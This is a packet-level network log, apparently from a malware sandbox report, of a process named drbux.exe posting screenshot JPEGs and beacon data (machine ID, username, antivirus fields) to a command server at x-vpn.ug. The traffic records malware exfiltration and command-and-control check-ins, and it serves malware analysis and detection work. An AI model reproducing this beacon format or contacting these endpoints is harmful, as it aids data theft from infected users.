Jul 19, 2021 18:36:45.798981905 CEST	19102	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 63 36 63 33 63 64 30 39 34 61 31 30 36 39 35 32 36 32 39 34 30 39 36 65 36 30 65 35 61 34 36 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------c6c3cd094a1069526294096e60e5a466Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:45.799166918 CEST	19112	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:45.799256086 CEST	19115	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:45.878006935 CEST	19115	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:45 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:45.878557920 CEST	19118	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:45.879136086 CEST	19121	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:45.879551888 CEST	19123	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:45.879705906 CEST	19126	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:45.879987001 CEST	19129	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:45.880007982 CEST	19132	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:45.880611897 CEST	19137	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.6	49764	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:34.897737980 CEST	3559	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:34.897834063 CEST	3559	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:34.898030996 CEST	3569	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:34.898154020 CEST	3572	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:34.980317116 CEST	3575	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:34.980371952 CEST	3580	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:34.980534077 CEST	3583	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:35:34.980659008 CEST	3586	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:34.980720997 CEST	3588	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:34.980843067 CEST	3591	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:35:34.981652021 CEST	3595	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:35:35.441375971 CEST	3656	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
270	192.168.2.6	50029	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:45.997265100 CEST	19196	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:46.080096960 CEST	19205	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:46 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
271	192.168.2.6	50030	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:46.259246111 CEST	19206	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040 Host: x-vpn.ug Content-Length: 96659 Cache-Control: no-cache
Jul 19, 2021 18:36:46.259478092 CEST	19206	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 33 33 38 62 37 34 66 37 35 30 62 35 30 34 65 36 30 64 64 39 66 66 34 31 61 65 36 33 30 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------d338b74f750b504e60dd9ff41ae63040Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:46.259772062 CEST	19217	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:46.260024071 CEST	19219	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:46.343614101 CEST	19220	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:46 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:46.344824076 CEST	19223	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:46.345211983 CEST	19226	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:46.345767975 CEST	19228	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:46.346038103 CEST	19231	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:46.346194029 CEST	19234	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:46.346647978 CEST	19236	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:46.346832991 CEST	19241	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
272	192.168.2.6	50031	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:46.287003040 CEST	19220	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:46.384495974 CEST	19246	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:46 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
273	192.168.2.6	50032	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:46.578929901 CEST	19305	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:46.672914982 CEST	19306	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
274	192.168.2.6	50033	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
